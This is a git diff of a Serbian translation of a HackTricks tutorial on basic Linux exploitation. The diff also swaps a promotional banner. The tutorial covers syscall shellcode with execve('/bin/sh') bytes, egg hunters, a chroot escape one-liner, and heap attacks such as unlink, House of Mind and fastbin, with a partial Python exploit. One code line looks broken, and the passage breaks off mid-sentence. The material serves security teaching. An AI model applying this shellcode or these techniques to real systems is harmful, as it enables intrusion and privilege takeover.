+{% endhint %}
diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md
index ff28cecec..7568406a2 100644
--- a/exploiting/linux-exploiting-basic-esp/README.md
+++ b/exploiting/linux-exploiting-basic-esp/README.md
@@ -1,37 +1,38 @@
-# Linux Exploiting (Osnovno)
+# Linux Exploiting (Basic) (SPA)
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## **2.SHELLCODE**
-Vidi prekide kernela: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
+Pogledajte prekide jezgra: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
-xor eax, eax ; čistimo eax\
-xor ebx, ebx ; ebx = 0 jer nema argumenata za prosleđivanje\
+xor eax, eax ; očistimo eax\
+xor ebx, ebx ; ebx = 0 jer nema argumenta za proslediti\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
-int 0x80 ; Izvršiti syscall
+int 0x80 ; Izvrši syscall
-**nasm -f elf assembly.asm** —> Vraća nam .o datoteku\
-**ld assembly.o -o shellcodeout** —> Daje nam izvršnu datoteku formiranu od asemblerskog koda i možemo izvući opkodove sa **objdump**\
-**objdump -d -Mintel ./shellcodeout** —> Da bismo videli da je zaista naš shellcode i izvukli OpKodove
+**nasm -f elf assembly.asm** —> Vraća nam .o\
+**ld assembly.o -o shellcodeout** —> Daje nam izvršni fajl sastavljen od asemblera i možemo izvući opkode sa **objdump**\
+**objdump -d -Mintel ./shellcodeout** —> Da vidimo da je to zaista naš shellcode i izvučemo OpCode
-**Proverite da li shellcode funkcioniše**
+**Proverite da shellcode funkcioniše**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@@ -41,11 +42,11 @@ fp = (void *)shellcode;
fp();
}
```
-Da biste videli da li se sistemski pozivi pravilno izvršavaju, treba da kompajlirate prethodni program i sistemski pozivi treba da se pojave u **strace ./PROGRAMA\_COMPILADO**
+Da biste videli da se sistemski pozivi pravilno izvršavaju, potrebno je da kompajlirate prethodni program, a sistemski pozivi treba da se pojave u **strace ./PROGRAMA\_COMPILADO**
-Prilikom kreiranja shellcode-ova možete koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodatno stavlja EIP na stek. Nakon instrukcije poziva smo ubacili string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda.
+Kada se kreiraju shellcode-ovi, može se primeniti trik. Prva instrukcija je jump na call. Call poziva originalni kod i takođe stavlja EIP na stek. Nakon instrukcije call, stavili smo string koji nam je potreban, tako da sa tim EIP-om možemo ukazati na string i nastaviti sa izvršavanjem koda.
-PRIMER **TRICK (/bin/sh)**:
+EJ **TRIK (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
@@ -65,7 +66,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar
```
-**EKSPLOATISANJE korišćenjem Stack-a (/bin/sh):**
+**EJ koristeći Stack(/bin/sh):**
```
section .text
global _start
@@ -93,13 +94,13 @@ fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
-**Lovac na jaja:**
+**Egg Huter:**
-Ovo je mali kod koji prolazi kroz stranice memorije povezane s procesom u potrazi za shellcode-om koji je tamo spremljen (traži neki potpis koji je postavljen u shellcode-u). Korisno u slučajevima kada imate samo malo prostora za ubacivanje koda.
+Sastoji se od malog koda koji pretražuje stranice memorije povezane sa procesom u potrazi za shellcode-om koji je tamo sačuvan (traži neku potpisanu oznaku u shellcode-u). Korisno u slučajevima kada se ima samo mali prostor za injekciju koda.
-**Polimorfni shellkodovi**
+**Shellcodes polimorfni**
-To su šifrovani shellkodovi koji imaju male kodove koji ih dešifruju i skoče na njih, koristeći trik Call-Pop, ovde je **primer Cezarove šifre**:
+Sastoje se od šifrovanih shell-ova koji imaju mali kod koji ih dešifruje i preskoči na njega, koristeći trik Call-Pop, ovo bi bio **primer šifrovanog cezara**:
```
global _start
_start:
@@ -120,88 +121,74 @@ sc:
```
## **5. Dodatne metode**
+**Murat tehnika**
+U linuxu se svi programi mapiraju počinjući od 0xbfffffff
+Gledajući kako se gradi stek novog procesa u linuxu, može se razviti exploit tako da se program pokrene u okruženju čija je jedina promenljiva shellcode. Adresa ove se može izračunati kao: addr = 0xbfffffff - 4 - strlen(NAZIV\_izvršnog\_fajla) - strlen(shellcode)
+Na ovaj način bi se jednostavno dobila adresa gde se nalazi promenljiva okruženja sa shellcode.
-**Muratova tehnika**
+To se može uraditi zahvaljujući funkciji execle koja omogućava kreiranje okruženja koje ima samo željene promenljive okruženja.
-Na linuxu se svi programi mapiraju počevši od 0xbfffffff
+### **Format Strings to Buffer Overflows**
-Posmatrajući kako se konstruiše stek novog procesa u linuxu, može se razviti exploit tako da program bude pokrenut u okruženju u kojem je jedina promenljiva shellcode. Adresa ove promenljive se može izračunati kao: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
+**sprintf moves** formatirani string **u** **promenljivu.** Stoga, možete zloupotrebiti **formatiranje** stringa da izazovete **buffer overflow u promenljivoj** u koju se sadržaj kopira.\
+Na primer, payload `%.44xAAAA` će **napisati 44B+"AAAA" u promenljivu**, što može izazvati buffer overflow.
-Na ovaj način se na jednostavan način može dobiti adresa gde se nalazi promenljiva okoline sa shellcode.
-
-Ovo se može postići zahvaljujući tome što funkcija execle omogućava kreiranje okruženja koje ima samo željene promenljive okoline.
-
-
-
-##
-
-###
-
-###
-
-###
-
-###
-
-### **Formatiranje stringova za preplavljivanje bafera**
-
-**sprintf** pomera formatiran string u promenljivu. Stoga, možete zloupotrebiti formatiranje stringa kako biste izazvali preplavljivanje bafera u promenljivoj u koju se kopira sadržaj. Na primer, payload `%.44xAAAA` će upisati 44B+"AAAA" u promenljivu, što može izazvati preplavljivanje bafera.
-
-### **Strukture \_\_atexit**
+### **\_\_atexit strukture**
{% hint style="danger" %}
-Danas je vrlo retko iskoristiti ovo.
+Danas je veoma **čudno iskoristiti ovo**.
{% endhint %}
-**`atexit()`** je funkcija kojoj se prosleđuju druge funkcije kao parametri. Ove funkcije će biti izvršene prilikom izvršavanja `exit()` ili povratka iz glavnog programa. Ako možete da modifikujete adresu bilo koje od ovih funkcija da pokazuje na shellcode na primer, preuzete ćete kontrolu nad procesom, ali je to trenutno komplikovanije. Trenutno su adrese funkcija koje treba izvršiti sakrivene iza nekoliko struktura i na kraju adrese na koje pokazuju nisu adrese funkcija, već su šifrovane sa XOR-om i pomerajima sa slučajnim ključem. Tako da je ovaj vektor napada trenutno vrlo malo koristan, barem na x86 i x64\_86 arhitekturama. Funkcija za šifrovanje je `PTR_MANGLE`. **Druge arhitekture** poput m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju funkciju za šifrovanje** jer **vraćaju isto** što su primile kao ulaz. Dakle, ove arhitekture bi bile podložne ovom vektoru napada.
+**`atexit()`** je funkcija kojoj se **prolaze druge funkcije kao parametri.** Ove **funkcije** će biti **izvršene** prilikom izvršavanja **`exit()`** ili **povratka** iz **main**.\
+Ako možete **modifikovati** **adresu** bilo koje od ovih **funkcija** da pokazuje na shellcode, na primer, dobićete **kontrolu** nad **procesom**, ali je to trenutno komplikovanije.\
+Trenutno su **adrese funkcija** koje treba izvršiti **sakrivene** iza nekoliko struktura i konačno adresa na koju pokazuje nije adresa funkcija, već je **kriptovana XOR** i pomeranjima sa **nasumičnim ključem**. Tako da je trenutno ovaj vektorski napad **ne baš koristan, barem na x86** i **x64\_86**.\
+**Funkcija za enkripciju** je **`PTR_MANGLE`**. **Druge arhitekture** kao što su m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju funkciju enkripcije** jer **vraća isto** što je primila kao ulaz. Tako da bi ove arhitekture bile napadljive ovim vektorom.
### **setjmp() & longjmp()**
{% hint style="danger" %}
-Danas je vrlo retko iskoristiti ovo.
+Danas je veoma **čudno iskoristiti ovo**.
{% endhint %}
-**`Setjmp()`** omogućava **čuvanje konteksta** (registara)\
-**`longjmp()`** omogućava **obnavljanje konteksta**.\
-Sačuvani registri su: `EBX, ESI, EDI, ESP, EIP, EBP`\
-Ono što se dešava je da se EIP i ESP prosleđuju kroz funkciju **`PTR_MANGLE`**, tako da su **arhitekture podložne ovom napadu iste kao i gore navedene**.\
-Koriste se za oporavak grešaka ili prekide.\
-Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, **tako da ako postoji `call ebx`, `call esi` ili `call edi`** unutar funkcije koja se poziva, kontrola može biti preuzeta. Ili takođe možete modifikovati EBP da biste promenili ESP.
+**`Setjmp()`** omogućava **čuvanje** **konteksta** (registri)\
+**`longjmp()`** omogućava **obnavljanje** **konteksta**.\
+**Sačuvani registri** su: `EBX, ESI, EDI, ESP, EIP, EBP`\
+Šta se dešava je da se EIP i ESP prosleđuju kroz **`PTR_MANGLE`** funkciju, tako da su **arhitekture ranjive na ovaj napad iste kao gore**.\
+Koriste se za oporavak od grešaka ili prekida.\
+Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, **tako da ako postoji `call ebx`, `call esi` ili `call edi`** unutar pozvane funkcije, kontrola može biti preuzeta. Ili možete takođe modifikovati EBP da modifikujete ESP.
**VTable i VPTR u C++**
-Svaka klasa ima **Vtabelu** koja je niz **pokazivača na metode**.
+Svaka klasa ima **Vtable** koja je niz **pokazivača na metode**.
-Svaki objekat **klase** ima **VPtr** koji je **pokazivač** na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne **prepisivanje** VPtr-a, može se **modifikovati** da pokazuje na lažnu metodu tako da izvršavanje funkcije ode do shellcode-a.
+Svaki objekat klase ima **VPtr** koji je **pokazivač** na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne **prepisivanje** **VPtr** može se **modifikovati** da **pokazuje** na lažnu metodu tako da izvršavanje funkcije ide na shellcode.
-## **Prevantivne mere i izbegavanja**
+## **Preventivne mere i izbegavanja**
-###
-
-**Zamena Libsafe-a**
+**Zamena Libsafe**
Aktivira se sa: LD\_PRELOAD=/lib/libsafe.so.2\
ili\
“/lib/libsave.so.2” > /etc/ld.so.preload
-Pozivi nekih nesigurnih funkcija se presreću sigurnijim. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne statičke kompilacije, ne sve ranjive funkcije postaju sigurne i LD\_PRELOAD ne radi na binarnim fajlovima sa suid).
+Interceptuju se pozivi nekim nesigurnim funkcijama sa drugim sigurnim. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne statičke kompilacije, ne sve ranjive funkcije postaju sigurne i LD\_PRELOAD ne funkcioniše u binarnim fajlovima sa suid).
**ASCII Armored Address Space**
-Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zaista ne zaustavlja skoro nijedan napad, a posebno ne u little endian formatu.
+Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zapravo ne zaustavlja gotovo nijedan napad, a još manje u little endian.
**ret2plt**
-Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt-a) i usmeri se ka ulazu u GOT i kopira prvi bajt funkcije koja se želi pozvati (system()). Zatim se isto radi usmeravajući se ka GOT+1 i kopira se drugi bajt system()... Na kraju se poziva sačuvana adresa u GOT koja će biti system()
+Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt) i pokaže na ulaz u GOT i kopira prvi bajt funkcije koju želite da pozovete (system()). Odmah zatim se radi isto pokazujući na GOT+1 i kopira se 2. bajt system()… Na kraju se poziva adresa sačuvana u GOT koja će biti system().
-**Kavezi sa chroot()**
+**Kave sa chroot()**
-debootstrap -arch=i386 hardy /home/user —> Instalira osnovni sistem u određeni poddirektorijum
+debootstrap -arch=i386 hardy /home/user —> Instalira osnovni sistem pod specifičnim poddirektorijumom
-Administrator može izaći iz ovih kaveza tako što će uraditi: mkdir foo; chroot foo; cd ..
+Admin može izaći iz jedne od ovih kave tako što će: mkdir foo; chroot foo; cd ..
**Instrumentacija koda**
@@ -210,36 +197,36 @@ Memcheck\
RAD (Return Address Defender)\
Insure++
-## **8 Preplavljivanje hipa: Osnovni eksploiti**
+## **8 Heap Overflows: Osnovni exploits**
-**Dodeljeni blok**
+**Delić dodeljen**
prev\_size |\
size | —Zaglavlje\
\*mem | Podaci
-**Slobodan blok**
+**Delić slobodan**
prev\_size |\
size |\
-\*fd | Ptr naprednog bloka\
-\*bk | Ptr nazadnog bloka —Zaglavlje\
+\*fd | Ptr forward chunk\
+\*bk | Ptr back chunk —Zaglavlje\
\*mem | Podaci
-Slobodni blokovi su u listi dvostruko povezanih (bin) i nikada ne mogu biti dva slobodna bloka zajedno (spajaju se)
+Slobodni delovi su u dvostruko povezanoj listi (bin) i nikada ne mogu postojati dva slobodna dela zajedno (spajaju se)
-U "size" postoje bitovi koji pokazuju: Da li je prethodni blok u upotrebi, da li je blok dodeljen putem mmap() i da li blok pripada primarnoj areni.
+U “size” postoje bitovi koji označavaju: Da li je prethodni deo u upotrebi, da li je deo dodeljen putem mmap() i da li deo pripada primarnoj areni.
-Ako se oslobodi blok i bilo koji od susednih blokova je slobodan, oni se spajaju pomoću makroa unlink() i novi, veći blok se prosleđuje frontlink() da ga ubaci u odgovarajući bin.
+Ako prilikom oslobađanja dela neki od susednih bude slobodan, oni se spajaju putem makroa unlink() i novi veći deo se prosleđuje frontlink() da mu umetne odgovarajući bin.
unlink(){\
-BK = P->bk; —> BK novog bloka je onaj koji je imao blok koji je već bio slobodan\
-FD = P->fd; —> FD novog bloka je onaj koji je imao blok koji je već bio slobodan\
-FD->bk = BK; —> BK sledećeg bloka pokazuje na novi blok\
-BK->fd = FD; —> FD prethodnog bloka pokazuje na novi blok\
+BK = P->bk; —> BK novog dela je onaj koji je imao onaj koji je već bio slobodan\
+FD = P->fd; —> FD novog dela je onaj koji je imao onaj koji je već bio slobodan\
+FD->bk = BK; —> BK sledećeg dela pokazuje na novi deo\
+BK->fd = FD; —> FD prethodnog dela pokazuje na novi deo\
}
-Dakle, ako uspemo da modifikujemo P->bk sa adresom shellcode-a i P->fd sa adresom unosa u GOT ili DTORS manje 12, postiže se:
+Dakle, ako uspemo da modifikujemo P->bk sa adresom shellcode i P->fd sa adresom do ulaza u GOT ili DTORS minus 12, postiže se:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
@@ -247,22 +234,23 @@ FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
I tako se izvršava shellcode prilikom izlaska iz programa.
-Takođe, 4. izjava unlink() piše nešto i shellcode mora biti prilagođen za ovo:
+Pored toga, 4. izjava unlink() piše nešto i shellcode mora biti prilagođena za ovo:
-BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Ovo uzrokuje pisanje 4 bajta počevši od 8. bajta shellcode-a, tako da prva instrukcija shellcode-a mora biti skok kako bi preskočila ovo i prešla na nops koji vode do ostatka shellcode-a.
+BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Ovo izaziva pisanje 4 bajta počevši od 8. bajta shellcode, tako da prva instrukcija shellcode mora biti jmp da preskoči ovo i padne u nops koji vode do ostatka shellcode.
-Stoga se exploit kreira:
+Dakle, exploit se kreira:
-U buffer1 ubacujemo shellcode počevši od skoka kako bi prešao na nops ili na ostatak shellcode-a.
+U buffer1 stavljamo shellcode počevši od jmp da padne u nops ili u ostatak shellcode.
-Nakon shellcode-a ubacujemo punjenje dok ne dođemo do polja prev\_size i size sledećeg bloka. Na ovim mestima ubacujemo 0xfffffff0 (tako da se prev\_size prepiše da ima bit koji kaže da je slobodan) i “-4“(0xfffffffc) u size (da bi kada proveri u 3. bloku da li je 2. bio slobodan, zapravo ode na modifikovani prev\_size koji će reći da je slobodan) -> Tako kada free() istražuje, ići će na size 3. ali će zapravo ići na 2. - 4 i misliće da je 2. blok slobodan. Tada će pozvati **unlink()**.
-Prilikom poziva unlink() koristiće se prvi podaci iz 2. dela, tako da će se tu ubaciti adresa koju želite da prepisujete - 12 (jer će u FD->bk dodati 12 na adresu sačuvanu u FD). Na toj adresi će se uneti druga adresa koja se nalazi u 2. delu, a koja će biti adresa shell koda (P->bk lažni).
+Nakon shellcode stavljamo popunu do polja prev\_size i size sledećeg dela. Na ovim mestima stavljamo 0xfffffff0 (tako da se prev\_size prepisuje da ima bit koji kaže da je slobodan) i “-4“(0xfffffffc) u size (da kada proveri u 3. delu da li je 2. zapravo slobodan, ide na modifikovani prev\_size koji će mu reći da je slobodan) -> Tako kada free() istražuje, ići će na size 3. ali zapravo će ići na 2. - 4 i pomisliti da je 2. deo slobodan. I tada će pozvati **unlink()**.
+
+Pozivom unlink() koristiće kao P->fd prve podatke 2. dela, tako da će tu biti adresa koju želite da prepišete - 12 (jer će u FD->bk dodati 12 na sačuvanu adresu u FD). I na tu adresu će uneti drugu adresu koju nađe u 2. delu, što će nam biti interesantno da bude adresa do shellcode (lažni P->bk).
**from struct import \***
**import os**
-**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtova punjenja**
+**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes popune**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
@@ -270,73 +258,73 @@ Prilikom poziva unlink() koristiće se prvi podaci iz 2. dela, tako da će se tu
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
-**prev\_size = pack("\ Vraća pokazivač na adresu na kojoj počinje deo (mem-8)
+p = mem2chunk(mem); —> Vraća pokazivač na adresu gde počinje deo (mem-8)
…
@@ -356,11 +344,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
}
-U \[1] proverava polje size bit NON\_MAIN\_ARENA, koje se može promeniti da bi provera vratila tačno i izvršila heap\_for\_ptr() koja vrši and na "mem" ostavljajući 0 poslednjih 2.5 bajtova (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar\_ptr (kao da je struct heap\_info)
+U \[1] proverava se polje size bit NON\_MAIN\_ARENA, koji se može izmeniti da provera vrati true i izvrši heap\_for\_ptr() koji radi and na “mem” ostavljajući 0 na 2.5 manje bitova (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar\_ptr (kao da je struktura heap\_info)
-Na ovaj način, ako možemo kontrolisati deo na primer na 0x0804a000 i deo na **0x081002a0** će biti oslobođen, možemo doći do adrese 0x08100000 i upisati šta god želimo, na primer **0x0804a000**. Kada se ovaj drugi deo oslobodi, naći će da heap\_for\_ptr(ptr)->ar\_ptr vraća ono što smo upisali na 0x08100000 (jer se primenjuje and na 0x081002a0 koji smo videli ranije i odatle se izvlači vrednost prvih 4 bajta, ar\_ptr)
+Na ovaj način, ako možemo kontrolisati deo na primer u 0x0804a000 i oslobađa se deo u **0x081002a0**, možemo doći do adrese 0x08100000 i pisati šta god želimo, na primer **0x0804a000**. Kada se ovaj drugi deo oslobodi, otkriće da heap\_for\_ptr(ptr)->ar\_ptr vraća ono što smo napisali u 0x08100000 (jer se primenjuje and na 0x081002a0 i odatle se uzima vrednost prvih 4 bajta, ar\_ptr)
-Na taj način se poziva \_int\_free(ar\_ptr, mem), odnosno **\_int\_free(0x0804a000, 0x081002a0)**\
+Na ovaj način se poziva \_int\_free(ar\_ptr, mem), tj. **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
@@ -372,33 +360,34 @@ fwd->bk = p;
..}
-Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u delu koji će biti oslobođen.
+Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što smo napisali u delu koji će se osloboditi.
-Kako je definisano unsorted\_chunks, znamo da:\
+Kao što je definisano unsorted\_chunks, znamo da:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
-Stoga, ako u av->bins\[2] upišemo vrednost \_\_DTOR\_END\_\_-12, u poslednjoj instrukciji će biti upisana vrednost u \_\_DTOR\_END\_\_ adresa drugog dela.
+Dakle, ako u av->bins\[2] upišemo vrednost \_\_DTOR\_END\_\_-12, u poslednjoj instrukciji će se upisati u \_\_DTOR\_END\_\_ adresa drugog dela.
-Drugim rečima, na početku prvog dela moramo staviti adresu \_\_DTOR\_END\_\_-12 mnogo puta jer će av->bins\[2] to izvući.
+Drugim rečima, u prvom delu moramo staviti na početak više puta adresu \_\_DTOR\_END\_\_-12 jer će odatle uzeti av->bins\[2]
-Na adresi na koju padne adresa drugog dela sa poslednjih 5 nula, treba upisati adresu ovog prvog dela kako bi heap\_for\_ptr() mislio da je ar\_ptr na početku prvog dela i izvukao av->bins\[2] odatle.
-U drugom delu, zahvaljujući prvom, prepisujemo prev\_size sa jump 0x0c i size sa nečim što aktivira -> NON\_MAIN\_ARENA
+Na adresi na kojoj padne adresa drugog dela sa poslednjih 5 nula, treba napisati adresu do ovog prvog dela kako bi heap\_for\_ptr() mislio da je ar\_ptr na početku prvog dela i izvukao odatle av->bins\[2]
-Zatim u delu 2 stavljamo puno nops-a i na kraju shellcode
+U drugom delu i zahvaljujući prvom prepisujemo prev\_size sa jump 0x0c i size sa nečim da aktiviramo -> NON\_MAIN\_ARENA
-Na taj način će se pozvati \_int\_free(TROZO1, TROZO2) i slijediti upute za pisanje u \_\_DTOR\_END\_\_ adresu prev\_size od TROZO2 koji će skočiti na shellcode.
+Zatim u delu 2 stavljamo gomilu nops i na kraju shellcode
-Za primenu ove tehnike potrebno je ispuniti još neke zahteve koji malo komplikuju payload.
+Na ovaj način će se pozvati \_int\_free(TROZO1, TROZO2) i pratiti uputstva da se upiše u \_\_DTOR\_END\_\_ adresa prev\_size TROZO2 koji će skočiti na shellcode.
-Ova tehnika više nije primenjiva jer je primenjen gotovo isti zakrpa kao za unlink. Upoređuju se da li novi sajt na koji se pokazuje takođe pokazuje na njega.
+Da bi se primenila ova tehnika, potrebno je da se ispune neki dodatni zahtevi koji dodatno komplikuju payload.
+
+Ova tehnika više nije primenljiva jer je primenjen gotovo isti zakrpa kao za unlink. Proverava se da li nova adresa na koju se pokazuje takođe pokazuje na nju.
**Fastbin**
-To je varijanta The house of mind
+To je varijanta Kuće uma
-interesuje nas izvršavanje sledećeg koda koji se dostiže nakon prve provere funkcije \_int\_free()
+Zanima nas da izvršimo sledeći kod do kojeg se dolazi nakon prve provere funkcije \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Gde je fastbin\_index(sz) —> (sz >> 3) - 2
@@ -408,141 +397,142 @@ p->fd = \*fb
\*fb = p
-Na ovaj način, ako se postavi u "fb" adresa funkcije u GOT-u, na toj adresi će se postaviti adresa prepisanog dela. Za ovo će biti potrebno da je arena blizu adresa dtors-a. Tačnije, av->max\_fast treba da bude adresa koju ćemo prepisati.
+Na ovaj način, ako stavimo u “fb” adresu funkcije u GOT, na ovoj adresi će se staviti adresa do prepisanog dela. Za ovo će biti potrebno da arena bude blizu adresa dtors. Tačnije, da av->max\_fast bude na adresi koju ćemo prepisati.
-S obzirom da smo sa The House of Mind videli da mi kontrolišemo poziciju av.
+S obzirom na to da smo sa Kućom uma videli da kontrolišemo poziciju av.
-Zato ako u polje size stavimo veličinu 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() će vratiti fastbins\[-1], koji će pokazivati na av->max\_fast
+Dakle, ako u polje size stavimo veličinu od 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() će nam vratiti fastbins\[-1], koji će pokazivati na av->max\_fast
-U ovom slučaju av->max\_fast će biti adresa koja će biti prepisana (ne na koju pokazuje, već ta pozicija će biti prepisana).
+U ovom slučaju av->max\_fast će biti adresa koja će se prepisati (ne na koju pokazuje, već ta pozicija će se prepisati).
-Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 8, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, na početku treba staviti skok koji će pasti na nops).
+Pored toga, mora se ispuniti da deo susedni oslobođenom mora biti veći od 8 -> S obzirom na to da smo rekli da je size oslobođenog dela 8, u ovom lažnom delu samo treba staviti size veći od 8 (pošto će pored toga shellcode ići u oslobođeni deo, moraće se na početku staviti jmp koji pada u nops).
-Takođe, isti lažni deo mora biti manji od av->system\_mem. av->system\_mem je udaljen 1848 bajtova.
+Pored toga, taj isti lažni deo mora biti manji od av->system\_mem. av->system\_mem se nalazi 1848 bajtova dalje.
-Zbog nula u \_DTOR\_END\_ i malog broja adresa u GOT-u, nijedna adresa iz ovih sekcija nije pogodna za prepisivanje, pa pogledajmo kako primeniti fastbin za napad na stek.
+Zbog nula u \_DTOR\_END\_ i malo adresa u GOT, nijedna adresa ovih sekcija ne može se prepisati, tako da vidimo kako primeniti fastbin da napadnemo stek.
-Još jedan način napada je preusmeravanje **av** ka steku.
+Drugi način napada je preusmeravanje **av** ka steku.
-Ako promenimo veličinu da bude 16 umesto 8, tada: fastbin\_index() će vratiti fastbins\[0] i možemo iskoristiti ovo da prepisujemo stek.
+Ako modifikujemo size da bude 16 umesto 8, tada: fastbin\_index() će nam vratiti fastbins\[0] i možemo iskoristiti ovo da prepišemo stek.
-Za ovo ne sme biti nikakvih canary-ja ili čudnih vrednosti na steku, zapravo moramo biti u ovom: 4 bajta nula + EBP + RET
+Za ovo ne sme biti nikakvih canary ili čudnih vrednosti na steku, zapravo se moramo nalaziti u njemu: 4 bajta nula + EBP + RET
-Potrebna su 4 bajta nula kako bi **av** bio na toj adresi i prvi element **av** je mutex koji mora biti 0.
+4 bajta nula su potrebna da **av** bude na ovoj adresi i prvi element **av** je mutexe koji mora biti 0.
-**av->max\_fast** će biti EBP i biće vrednost koja će nam omogućiti da preskočimo ograničenja.
+**av->max\_fast** će biti EBP i biće vrednost koja će nam poslužiti da preskočimo ograničenja.
-U **av->fastbins\[0]** će se prepisati adresa **p** i biće RET, tako da će se skočiti na shellcode.
+U **av->fastbins\[0]** će se prepisati sa adresom **p** i biće RET, tako da će preskočiti na shellcode.
-Takođe, u **av->system\_mem** (1484 bajta iznad pozicije na steku) će biti dovoljno smeća koje će nam omogućiti da preskočimo proveru koja se vrši.
+Pored toga, u **av->system\_mem** (1484 bajta iznad pozicije na steku) biće dovoljno smeća koje će nam omogućiti da preskočimo proveru koja se vrši.
-Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 16, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, na početku treba staviti skok koji će pasti na nops koji dolaze nakon polja size novog lažnog dela).
+Pored toga, mora se ispuniti da deo susedni oslobođenom mora biti veći od 8 -> S obzirom na to da smo rekli da je size oslobođenog dela 16, u ovom lažnom delu samo treba staviti size veći od 8 (pošto će pored toga shellcode ići u oslobođeni deo, moraće se na početku staviti jmp koji pada u nops koji dolaze nakon polja size novog lažnog dela).
-**The House of Spirit**
+**Kuća duha**
-U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenljiv od strane napadača (na primer, da je pokazivač na steku ispod mogućeg prelivanja promenljive).
